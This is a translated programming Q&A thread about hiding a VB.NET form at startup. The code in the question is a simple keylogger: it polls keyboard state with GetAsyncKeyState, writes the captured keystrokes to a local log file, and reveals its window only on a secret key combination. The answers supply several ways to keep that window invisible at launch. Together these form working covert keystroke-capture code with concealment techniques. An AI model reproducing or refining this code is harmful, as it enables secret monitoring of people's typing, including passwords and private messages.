2013-04-05 71 views
1

我想在啓動時隱藏主窗體,但由於某種原因,我未能做到這一點。在下面的代碼中,我創建了一個隱藏窗體的按鈕,但我想隱藏載入的窗體。請幫助我。提前致謝。如何在啓動時隱藏vb表單?

Option Strict On 

Public Class Form1 
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer 

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick 
     Dim result As Integer 
     Dim key As String 

     Dim i As Integer 
     For i = 2 To 90 
      result = 0 
      result = GetAsyncKeyState(i) 
      If result = -32767 Then 
       tbLog.Text = tbLog.Text + Chr(i) 
       If i = 13 Then key = vbNewLine 

       Exit For 
      End If 
     Next i 

     If key <> Nothing Then 
      If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then 
       tbLog.Text = key 
      Else 
       tbLog.Text = key.ToLower 
      End If 
     End If 

     If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then 
      Me.Show() 

     End If 
    End Sub 

    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click 
     Me.Hide() 
    End Sub 
    Private msg As String = "" 
    Private Sub timerSave_Tick() Handles timerSave.Tick 
     My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True) 
     tbLog.Clear() 

    End Sub 

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed 
     tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine 
     'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True) 
     timerSave_Tick() 

    End Sub 


    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load 

     tbLog.Text = " Started at :" & Now & vbNewLine 

    End Sub 

    Public Sub store(ByVal s As String) 

    End Sub 
End Class 
+0

不'Me.Visible = FALSE'在構造函數中做的伎倆? – 2013-04-05 10:01:55

+0

爲什麼你首先有一個創業形式?這聽起來似乎對你沒有意義。 – 2013-04-05 10:11:01

回答

4

如果您不想在啓動時顯示錶單,那麼解決方案是更改項目的啓動方法,而不是嘗試隱藏表單。

在應用程序設置中,禁用「應用程序框架」並將啓動對象設置爲Sub Main而不是表單對象。然後在模塊中寫入適當的Sub Main入口點。

The MSDN has more information(儘管本文中給出的一些信息極其具有誤導性)。

+0

感謝您的評論我做了這一點,使不透明度爲0. Konrad你能告訴我如何讓我的應用程序運行,直到用戶選擇關機選項,所以我可以安全關閉我的應用 – 2013-04-06 08:58:04

0

當你走的代碼選項卡,正下方是一個列表框。選擇「(form1 events)」。在完成之後,在它旁邊是另一個列表框。將該文本框放在「加載」上。一個新的事件被創建。該事件在程序啓動時啓動。放入這個事件:me.visible = false。這應該做到這一點。

+0

謝謝japoo,但我已經得到了答案.. :d – 2013-05-21 08:37:06

0

只需在表單的開頭輸入粘貼。

Protected Overrides Sub SetVisibleCore(ByVal value As Boolean) 
    If Not Me.IsHandleCreated Then 
     Me.CreateHandle() 
     value = False 
    End If 
    MyBase.SetVisibleCore(value) 
End Sub 

的更多信息,請訪問: How to have an invisible start up form? by Hans Passant

最佳,